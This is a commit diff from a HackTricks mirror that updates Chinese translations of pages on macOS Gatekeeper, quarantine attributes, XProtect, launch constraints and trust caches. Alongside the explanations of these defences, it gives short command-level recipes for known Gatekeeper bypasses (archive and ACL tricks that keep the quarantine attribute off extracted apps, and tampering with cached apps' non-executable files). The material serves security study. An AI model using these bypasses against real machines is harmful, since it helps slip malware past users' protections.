mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
8d69a1324f
commit
9772999207
20 changed files with 721 additions and 564 deletions
|
@ -1,16 +1,19 @@
|
||||||
# macOS Gatekeeper / Quarantine / XProtect
|
# macOS Gatekeeper / Quarantine / XProtect
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -18,27 +21,27 @@
|
||||||
|
|
||||||
## Gatekeeper
|
## Gatekeeper
|
||||||
|
|
||||||
**Gatekeeper** 是为 Mac 操作系统开发的安全功能,旨在确保用户 **仅运行受信任的软件**。它通过 **验证用户下载并尝试从 App Store 以外的来源打开的软件**(如应用程序、插件或安装包)来实现。
|
**Gatekeeper** 是为 Mac 操作系统开发的安全功能,旨在确保用户 **仅运行受信任的软件**。它通过 **验证用户下载并尝试从 App Store 以外的来源打开的软件**(例如应用程序、插件或安装包)来实现。
|
||||||
|
|
||||||
Gatekeeper 的关键机制在于其 **验证** 过程。它检查下载的软件是否 **由认可的开发者签名**,以确保软件的真实性。此外,它还确认该软件是否 **经过 Apple 的公证**,以确保其不含已知的恶意内容,并且在公证后未被篡改。
|
Gatekeeper 的关键机制在于其 **验证** 过程。它检查下载的软件是否 **由认可的开发者签名**,以确保软件的真实性。此外,它还确认该软件是否 **经过 Apple 的公证**,以确认其不含已知的恶意内容,并且在公证后未被篡改。
|
||||||
|
|
||||||
此外,Gatekeeper 通过 **提示用户首次批准打开下载的软件** 来增强用户控制和安全性。此保护措施有助于防止用户无意中运行可能有害的可执行代码,而将其误认为无害的数据文件。
|
此外,Gatekeeper 通过 **提示用户首次批准打开下载的软件** 来增强用户控制和安全性。此保护措施有助于防止用户无意中运行可能有害的可执行代码,而将其误认为无害的数据文件。
|
||||||
|
|
||||||
### Application Signatures
|
### 应用程序签名
|
||||||
|
|
||||||
应用程序签名,也称为代码签名,是 Apple 安全基础设施的关键组成部分。它们用于 **验证软件作者的身份**(开发者),并确保代码自上次签名以来未被篡改。
|
应用程序签名,也称为代码签名,是 Apple 安全基础设施的关键组成部分。它们用于 **验证软件作者的身份**(开发者),并确保自上次签名以来代码未被篡改。
|
||||||
|
|
||||||
其工作原理如下:
|
其工作原理如下:
|
||||||
|
|
||||||
1. **签名应用程序:** 当开发者准备分发其应用程序时,他们 **使用私钥签名应用程序**。此私钥与 **Apple 在开发者注册 Apple Developer Program 时向开发者颁发的证书** 相关联。签名过程涉及创建应用程序所有部分的加密哈希,并使用开发者的私钥对该哈希进行加密。
|
1. **签名应用程序:** 当开发者准备分发其应用程序时,他们 **使用私钥签名应用程序**。此私钥与 **Apple 在开发者注册 Apple Developer Program 时向开发者颁发的证书** 相关联。签名过程涉及创建应用程序所有部分的加密哈希,并使用开发者的私钥对该哈希进行加密。
|
||||||
2. **分发应用程序:** 签名的应用程序随后与开发者的证书一起分发,该证书包含相应的公钥。
|
2. **分发应用程序:** 签名的应用程序随后与开发者的证书一起分发,该证书包含相应的公钥。
|
||||||
3. **验证应用程序:** 当用户下载并尝试运行该应用程序时,他们的 Mac 操作系统使用开发者证书中的公钥解密哈希。然后,它根据应用程序的当前状态重新计算哈希,并将其与解密后的哈希进行比较。如果它们匹配,则意味着 **自开发者签名以来,应用程序未被修改**,系统允许该应用程序运行。
|
3. **验证应用程序:** 当用户下载并尝试运行应用程序时,他们的 Mac 操作系统使用开发者证书中的公钥解密哈希。然后,它根据应用程序的当前状态重新计算哈希,并将其与解密后的哈希进行比较。如果它们匹配,则意味着 **应用程序自开发者签名以来未被修改**,系统允许该应用程序运行。
|
||||||
|
|
||||||
应用程序签名是 Apple Gatekeeper 技术的重要组成部分。当用户尝试 **打开从互联网下载的应用程序** 时,Gatekeeper 会验证应用程序签名。如果它是由 Apple 向已知开发者颁发的证书签名,并且代码未被篡改,Gatekeeper 允许该应用程序运行。否则,它会阻止该应用程序并提醒用户。
|
应用程序签名是 Apple Gatekeeper 技术的重要组成部分。当用户尝试 **打开从互联网下载的应用程序** 时,Gatekeeper 会验证应用程序签名。如果它是由 Apple 向已知开发者颁发的证书签名,并且代码未被篡改,Gatekeeper 允许该应用程序运行。否则,它会阻止该应用程序并提醒用户。
|
||||||
|
|
||||||
从 macOS Catalina 开始,**Gatekeeper 还检查应用程序是否经过 Apple 的公证**,增加了一层额外的安全性。公证过程检查应用程序是否存在已知的安全问题和恶意代码,如果这些检查通过,Apple 会向应用程序添加一个 Gatekeeper 可以验证的票据。
|
从 macOS Catalina 开始,**Gatekeeper 还检查应用程序是否经过 Apple 的公证**,增加了一层额外的安全性。公证过程检查应用程序是否存在已知的安全问题和恶意代码,如果这些检查通过,Apple 会向应用程序添加一个 Gatekeeper 可以验证的票据。
|
||||||
|
|
||||||
#### Check Signatures
|
#### 检查签名
|
||||||
|
|
||||||
在检查某些 **恶意软件样本** 时,您应始终 **检查二进制文件的签名**,因为 **签名** 的开发者可能已经 **与恶意软件相关**。
|
在检查某些 **恶意软件样本** 时,您应始终 **检查二进制文件的签名**,因为 **签名** 的开发者可能已经 **与恶意软件相关**。
|
||||||
```bash
|
```bash
|
||||||
|
@ -63,7 +66,7 @@ codesign -s <cert-name-keychain> toolsdemo
|
||||||
|
|
||||||
如果软件 **通过** 了这次检查而没有引发任何问题,Notary Service 会生成一个 notarization 票据。开发者随后需要 **将此票据附加到他们的软件上**,这个过程称为“stapling”。此外,notarization 票据也会在线发布,Gatekeeper,苹果的安全技术,可以访问它。
|
如果软件 **通过** 了这次检查而没有引发任何问题,Notary Service 会生成一个 notarization 票据。开发者随后需要 **将此票据附加到他们的软件上**,这个过程称为“stapling”。此外,notarization 票据也会在线发布,Gatekeeper,苹果的安全技术,可以访问它。
|
||||||
|
|
||||||
在用户首次安装或执行软件时,notarization 票据的存在 - 无论是附加在可执行文件上还是在线找到 - **通知 Gatekeeper 该软件已由苹果进行 notarization**。因此,Gatekeeper 在初始启动对话框中显示一条描述性消息,指示该软件已通过苹果的恶意内容检查。这个过程增强了用户对他们在系统上安装或运行的软件安全性的信心。
|
在用户首次安装或执行软件时,notarization 票据的存在 - 无论是附加在可执行文件上还是在线找到 - **通知 Gatekeeper 该软件已由苹果进行 notarization**。因此,Gatekeeper 在初始启动对话框中显示一条描述性消息,表明该软件已通过苹果的恶意内容检查。这个过程增强了用户对他们在系统上安装或运行的软件安全性的信心。
|
||||||
|
|
||||||
### Enumerating GateKeeper
|
### Enumerating GateKeeper
|
||||||
|
|
||||||
|
@ -151,20 +154,20 @@ spctl --assess -v /Applications/App.app
|
||||||
|
|
||||||
在**下载**应用程序或文件时,特定的macOS **应用程序**(如网页浏览器或电子邮件客户端)会**附加一个扩展文件属性**,通常称为“**隔离标志**”,到下载的文件上。此属性作为安全措施,**标记文件**来自不受信任的来源(互联网),并可能带来风险。然而,并非所有应用程序都会附加此属性,例如,常见的BitTorrent客户端软件通常会绕过此过程。
|
在**下载**应用程序或文件时,特定的macOS **应用程序**(如网页浏览器或电子邮件客户端)会**附加一个扩展文件属性**,通常称为“**隔离标志**”,到下载的文件上。此属性作为安全措施,**标记文件**来自不受信任的来源(互联网),并可能带来风险。然而,并非所有应用程序都会附加此属性,例如,常见的BitTorrent客户端软件通常会绕过此过程。
|
||||||
|
|
||||||
**隔离标志的存在在用户尝试执行文件时向macOS的Gatekeeper安全功能发出信号**。
|
**隔离标志的存在在用户尝试执行文件时会触发macOS的Gatekeeper安全功能**。
|
||||||
|
|
||||||
在**隔离标志不存在**的情况下(例如通过某些BitTorrent客户端下载的文件),Gatekeeper的**检查可能不会执行**。因此,用户在打开来自不太安全或未知来源的文件时应保持谨慎。
|
在**隔离标志不存在**的情况下(例如通过某些BitTorrent客户端下载的文件),Gatekeeper的**检查可能不会执行**。因此,用户在打开来自不太安全或未知来源的文件时应谨慎。
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
**检查**代码签名的**有效性**是一个**资源密集型**的过程,包括生成代码及其所有捆绑资源的加密**哈希**。此外,检查证书有效性还涉及对苹果服务器进行**在线检查**,以查看其在发放后是否被撤销。因此,完整的代码签名和公证检查在每次启动应用程序时**不切实际**。
|
**检查**代码签名的**有效性**是一个**资源密集型**的过程,包括生成代码及其所有捆绑资源的加密**哈希**。此外,检查证书有效性还涉及对苹果服务器进行**在线检查**,以查看其在发放后是否被撤销。因此,完整的代码签名和公证检查在每次启动应用时**不切实际**。
|
||||||
|
|
||||||
因此,这些检查**仅在执行具有隔离属性的应用程序时运行。**
|
因此,这些检查**仅在执行具有隔离属性的应用时运行。**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
此属性必须由**创建/下载**文件的应用程序**设置**。
|
此属性必须由**创建/下载**文件的应用程序**设置**。
|
||||||
|
|
||||||
然而,被沙盒化的文件将对它们创建的每个文件设置此属性。而非沙盒化的应用程序可以自行设置,或在**Info.plist**中指定[**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc)键,这将使系统在创建的文件上设置`com.apple.quarantine`扩展属性,
|
然而,被沙盒化的文件将对它们创建的每个文件设置此属性。而非沙盒化的应用可以自行设置,或在**Info.plist**中指定[**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc)键,这将使系统在创建的文件上设置`com.apple.quarantine`扩展属性。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
此外,所有调用**`qtn_proc_apply_to_self`**的进程创建的文件都是隔离的。或者API **`qtn_file_apply_to_path`**将隔离属性添加到指定的文件路径。
|
此外,所有调用**`qtn_proc_apply_to_self`**的进程创建的文件都是隔离的。或者API **`qtn_file_apply_to_path`**将隔离属性添加到指定的文件路径。
|
||||||
|
@ -302,7 +305,7 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
XProtect 位于 SIP 保护位置 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**,在该包内可以找到 XProtect 使用的信息:
|
XProtect 位于受 SIP 保护的位置 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**,在该包内可以找到 XProtect 使用的信息:
|
||||||
|
|
||||||
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**:允许具有这些 cdhash 的代码使用遗留权限。
|
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**:允许具有这些 cdhash 的代码使用遗留权限。
|
||||||
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**:不允许通过 BundleID 和 TeamID 加载的插件和扩展的列表,或指示最低版本。
|
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**:不允许通过 BundleID 和 TeamID 加载的插件和扩展的列表,或指示最低版本。
|
||||||
|
@ -314,7 +317,7 @@ XProtect 位于 SIP 保护位置 **/Library/Apple/System/Library/CoreServices/XP
|
||||||
### 不是 Gatekeeper
|
### 不是 Gatekeeper
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
请注意,Gatekeeper **并不是每次** 执行应用程序时都会被执行,只有 _**AppleMobileFileIntegrity**_ (AMFI) 会在执行已经由 Gatekeeper 执行和验证的应用程序时 **验证可执行代码签名**。
|
请注意,Gatekeeper **并不是每次** 执行应用程序时都会执行,只有 _**AppleMobileFileIntegrity**_ (AMFI) 会在执行已经由 Gatekeeper 执行和验证的应用程序时 **验证可执行代码签名**。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
因此,之前可以执行一个应用程序以缓存它与 Gatekeeper,然后 **修改应用程序的非可执行文件**(如 Electron asar 或 NIB 文件),如果没有其他保护措施,应用程序将 **执行** 带有 **恶意** 附加内容的版本。
|
因此,之前可以执行一个应用程序以缓存它与 Gatekeeper,然后 **修改应用程序的非可执行文件**(如 Electron asar 或 NIB 文件),如果没有其他保护措施,应用程序将 **执行** 带有 **恶意** 附加内容的版本。
|
||||||
|
@ -351,7 +354,7 @@ zip -r test.app/Contents test.zip
|
||||||
|
|
||||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||||
|
|
||||||
即使组件不同,此漏洞的利用与之前的非常相似。在这种情况下,将从 **`application.app/Contents`** 生成一个 Apple Archive,因此 **`application.app` 在通过 **Archive Utility** 解压缩时不会获得隔离属性**。
|
即使组件不同,此漏洞的利用与之前的非常相似。在这种情况下,我们将从 **`application.app/Contents`** 生成一个 Apple Archive,因此 **`application.app` 在通过 **Archive Utility** 解压缩时不会获得隔离属性**。
|
||||||
```bash
|
```bash
|
||||||
aa archive -d test.app/Contents -o test.app.aar
|
aa archive -d test.app/Contents -o test.app.aar
|
||||||
```
|
```
|
||||||
|
@ -368,7 +371,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||||
```
|
```
|
||||||
此外,**AppleDouble** 文件格式复制了一个文件及其 ACE。
|
此外,**AppleDouble** 文件格式复制了一个文件及其 ACE。
|
||||||
|
|
||||||
在 [**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) 中可以看到,存储在名为 **`com.apple.acl.text`** 的 xattr 中的 ACL 文本表示将被设置为解压缩文件中的 ACL。因此,如果您将一个应用程序压缩成一个带有 ACL 的 **AppleDouble** 文件格式的 zip 文件,该 ACL 阻止其他 xattrs 被写入... 那么隔离 xattr 并没有被设置到该应用程序中:
|
在 [**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) 中可以看到,存储在名为 **`com.apple.acl.text`** 的 xattr 中的 ACL 文本表示将被设置为解压缩文件中的 ACL。因此,如果您将一个应用程序压缩成一个带有 ACL 的 **AppleDouble** 文件格式的 zip 文件,该 ACL 阻止其他 xattrs 被写入... 那么隔离 xattr 并没有被设置到应用程序中:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
|
|
@ -1,76 +1,77 @@
|
||||||
# macOS启动/环境约束与信任缓存
|
# macOS 启动/环境约束与信任缓存
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中做广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) **或**[**电报群**](https://t.me/peass) **或在Twitter上关注**我🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**
|
|
||||||
*
|
|
||||||
* .
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## 基本信息
|
## 基本信息
|
||||||
|
|
||||||
macOS中的启动约束旨在通过**规范进程的启动方式、启动者和启动位置**来增强安全性。在macOS Ventura中引入,它们提供了一个框架,将**每个系统二进制文件分类为不同的约束类别**,这些类别在**信任缓存**中定义,其中包含系统二进制文件及其相应哈希值的列表。这些约束扩展到系统中的每个可执行二进制文件,包括一组**规则**,详细说明**启动特定二进制文件的要求**。这些规则包括二进制文件必须满足的自身约束、其父进程必须满足的父约束,以及其他相关实体必须遵守的责任约束。
|
macOS 中的启动约束旨在通过**规范进程的启动方式、启动者和启动来源**来增强安全性。自 macOS Ventura 开始引入,它们提供了一个框架,将**每个系统二进制文件分类为不同的约束类别**,这些类别在**信任缓存**中定义,该列表包含系统二进制文件及其各自的哈希值。这些约束扩展到系统中的每个可执行二进制文件,涉及一组**规则**,规定了**启动特定二进制文件的要求**。规则包括二进制文件必须满足的自我约束、其父进程必须满足的父约束,以及其他相关实体必须遵守的责任约束。
|
||||||
|
|
||||||
这种机制通过**环境约束**扩展到第三方应用程序,从macOS Sonoma开始,允许开发人员通过指定**一组键和值的环境约束**来保护其应用程序。
|
该机制通过**环境约束**扩展到第三方应用程序,自 macOS Sonoma 开始,允许开发者通过指定**一组环境约束的键和值**来保护他们的应用程序。
|
||||||
|
|
||||||
您可以在**`launchd`属性列表文件**中保存的约束字典中定义**启动环境和库约束**,或者在**用于代码签名的单独属性列表**文件中定义。
|
您可以在约束字典中定义**启动环境和库约束**,这些字典可以保存在**`launchd` 属性列表文件**中,或在**单独的属性列表**文件中使用于代码签名。
|
||||||
|
|
||||||
有4种类型的约束:
|
约束有 4 种类型:
|
||||||
|
|
||||||
* **自身约束**:应用于**运行中**的二进制文件。
|
* **自我约束**:应用于**正在运行**的二进制文件的约束。
|
||||||
* **父进程约束**:应用于**进程的父进程**(例如运行XP服务的**`launchd`**)。
|
* **父进程**:应用于**进程的父进程**的约束(例如 **`launchd`** 运行 XP 服务)
|
||||||
* **责任约束**:应用于通过XPC通信调用服务的**进程**。
|
* **责任约束**:应用于**在 XPC 通信中调用服务的进程**的约束
|
||||||
* **库加载约束**:使用库加载约束有选择地描述可加载的代码。
|
* **库加载约束**:使用库加载约束选择性地描述可以加载的代码
|
||||||
|
|
||||||
因此,当一个进程尝试启动另一个进程时 — 通过调用`execve(_:_:_:)`或`posix_spawn(_:_:_:_:_:_:)` — 操作系统会检查**可执行文件**是否满足其**自身约束**。它还会检查**父进程的可执行文件**是否满足可执行文件的**父约束**,以及**负责进程的可执行文件**是否满足可执行文件的**责任约束**。如果这些启动约束中的任何一个不满足,操作系统将不运行该程序。
|
因此,当一个进程尝试通过调用 `execve(_:_:_:)` 或 `posix_spawn(_:_:_:_:_:_:)` 启动另一个进程时,操作系统会检查**可执行**文件是否**满足**其**自身的自我约束**。它还会检查**父进程**的可执行文件是否**满足**可执行文件的**父约束**,以及**责任进程**的可执行文件是否**满足**可执行文件的责任进程约束。如果这些启动约束中的任何一个不满足,操作系统将不会运行该程序。
|
||||||
|
|
||||||
如果在加载库时**库约束的任何部分不成立**,您的进程**不会加载**该库。
|
如果在加载库时任何部分的**库约束不成立**,您的进程**将不会加载**该库。
|
||||||
|
|
||||||
## LC类别
|
## LC 类别
|
||||||
|
|
||||||
LC由**事实**和**逻辑操作**(与、或等)组成,结合事实。
|
LC 由**事实**和**逻辑操作**(与,或..)组成,结合事实。
|
||||||
|
|
||||||
[**LC可以使用的事实已记录**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints)。例如:
|
[**LC 可以使用的事实已记录**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints)。例如:
|
||||||
|
|
||||||
* is-init-proc:一个布尔值,指示可执行文件是否必须是操作系统的初始化进程(`launchd`)。
|
* is-init-proc:一个布尔值,指示可执行文件是否必须是操作系统的初始化进程(`launchd`)。
|
||||||
* is-sip-protected:一个布尔值,指示可执行文件是否必须是受系统完整性保护(SIP)保护的文件。
|
* is-sip-protected:一个布尔值,指示可执行文件是否必须是受系统完整性保护(SIP)保护的文件。
|
||||||
* `on-authorized-authapfs-volume:` 一个布尔值,指示操作系统是否从经授权的、经认证的APFS卷加载了可执行文件。
|
* `on-authorized-authapfs-volume:` 一个布尔值,指示操作系统是否从授权的、经过身份验证的 APFS 卷加载了可执行文件。
|
||||||
* `on-authorized-authapfs-volume`:一个布尔值,指示操作系统是否从经授权的、经认证的APFS卷加载了可执行文件。
|
* `on-authorized-authapfs-volume`:一个布尔值,指示操作系统是否从授权的、经过身份验证的 APFS 卷加载了可执行文件。
|
||||||
* Cryptexes卷
|
* Cryptexes 卷
|
||||||
* `on-system-volume:` 一个布尔值,指示操作系统是否从当前引导的系统卷加载了可执行文件。
|
* `on-system-volume:` 一个布尔值,指示操作系统是否从当前启动的系统卷加载了可执行文件。
|
||||||
* 在/System...
|
* 在 /System 内...
|
||||||
* ...
|
* ...
|
||||||
|
|
||||||
当苹果二进制文件签名时,它会将其分配到**信任缓存**中的**LC类别**中。
|
当 Apple 二进制文件被签名时,它**将其分配到信任缓存**中的一个 LC 类别。
|
||||||
|
|
||||||
* **iOS 16个LC类别**已经[**被逆向并记录在这里**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056)。
|
* **iOS 16 LC 类别**已在[**此处反向工程并记录**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056)。
|
||||||
* 当前**LC类别(macOS 14** - Somona)已被逆向,并且它们的[**描述可以在这里找到**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53)。
|
* 当前 **LC 类别(macOS 14 - Sonoma)**已被反向工程,其[**描述可以在这里找到**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53)。
|
||||||
|
|
||||||
例如,类别1是:
|
例如,类别 1 是:
|
||||||
```
|
```
|
||||||
Category 1:
|
Category 1:
|
||||||
Self Constraint: (on-authorized-authapfs-volume || on-system-volume) && launch-type == 1 && validation-category == 1
|
Self Constraint: (on-authorized-authapfs-volume || on-system-volume) && launch-type == 1 && validation-category == 1
|
||||||
Parent Constraint: is-init-proc
|
Parent Constraint: is-init-proc
|
||||||
```
|
```
|
||||||
* `(on-authorized-authapfs-volume || on-system-volume)`: 必须位于系统或Cryptexes卷中。
|
* `(on-authorized-authapfs-volume || on-system-volume)`:必须在系统或Cryptexes卷中。
|
||||||
* `launch-type == 1`: 必须是系统服务(在LaunchDaemons中的plist)。
|
* `launch-type == 1`:必须是系统服务(LaunchDaemons中的plist)。
|
||||||
* `validation-category == 1`: 操作系统可执行文件。
|
* `validation-category == 1`:操作系统可执行文件。
|
||||||
* `is-init-proc`: Launchd
|
* `is-init-proc`:Launchd
|
||||||
|
|
||||||
### 反向 LC 类别
|
### 反向工程LC类别
|
||||||
|
|
||||||
您可以在[**这里了解更多信息**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints),但基本上,它们在**AMFI(AppleMobileFileIntegrity)**中定义,因此您需要下载内核开发工具包以获取**KEXT**。以**`kConstraintCategory`**开头的符号是**有趣的**。提取它们,您将获得一个DER(ASN.1)编码流,您需要使用[ASN.1解码器](https://holtstrom.com/michael/tools/asn1decoder.php)或python-asn1库及其`dump.py`脚本进行解码,[andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master),这将为您提供更易理解的字符串。
|
您可以在[**这里**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints)找到更多信息,但基本上,它们在**AMFI (AppleMobileFileIntegrity)**中定义,因此您需要下载内核开发工具包以获取**KEXT**。以**`kConstraintCategory`**开头的符号是**有趣的**。提取它们后,您将获得一个DER(ASN.1)编码流,您需要使用[ASN.1解码器](https://holtstrom.com/michael/tools/asn1decoder.php)或python-asn1库及其`dump.py`脚本,[andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master)来解码,这将为您提供一个更易于理解的字符串。
|
||||||
|
|
||||||
## 环境约束
|
## 环境约束
|
||||||
|
|
||||||
这些是配置在**第三方应用程序**中的Launch Constraints。开发人员可以选择在其应用程序中使用的**事实**和**逻辑操作数**来限制对其自身的访问。
|
这些是配置在**第三方应用程序**中的启动约束。开发人员可以选择在其应用程序中使用的**事实**和**逻辑操作数**以限制对自身的访问。
|
||||||
|
|
||||||
可以使用以下方法枚举应用程序的环境约束:
|
可以使用以下方法枚举应用程序的环境约束:
|
||||||
```bash
|
```bash
|
||||||
|
@ -78,23 +79,23 @@ codesign -d -vvvv app.app
|
||||||
```
|
```
|
||||||
## 信任缓存
|
## 信任缓存
|
||||||
|
|
||||||
在**macOS**中有几个信任缓存:
|
在 **macOS** 中有几个信任缓存:
|
||||||
|
|
||||||
- **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
|
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
|
||||||
- **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
|
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
|
||||||
- **`/System/Library/Security/OSLaunchPolicyData`**
|
* **`/System/Library/Security/OSLaunchPolicyData`**
|
||||||
|
|
||||||
而在iOS中,看起来是在**`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**中。
|
在 iOS 中,它看起来在 **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**。
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
在运行在苹果硅设备上的macOS中,如果苹果签名的二进制文件不在信任缓存中,AMFI将拒绝加载它。
|
在运行在 Apple Silicon 设备上的 macOS 上,如果 Apple 签名的二进制文件不在信任缓存中,AMFI 将拒绝加载它。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 枚举信任缓存
|
### 枚举信任缓存
|
||||||
|
|
||||||
之前的信任缓存文件是以**IMG4**和**IM4P**格式,其中IM4P是IMG4格式的有效负载部分。
|
之前的信任缓存文件格式为 **IMG4** 和 **IM4P**,IM4P 是 IMG4 格式的有效载荷部分。
|
||||||
|
|
||||||
您可以使用[**pyimg4**](https://github.com/m1stadev/PyIMG4)来提取数据库的有效负载:
|
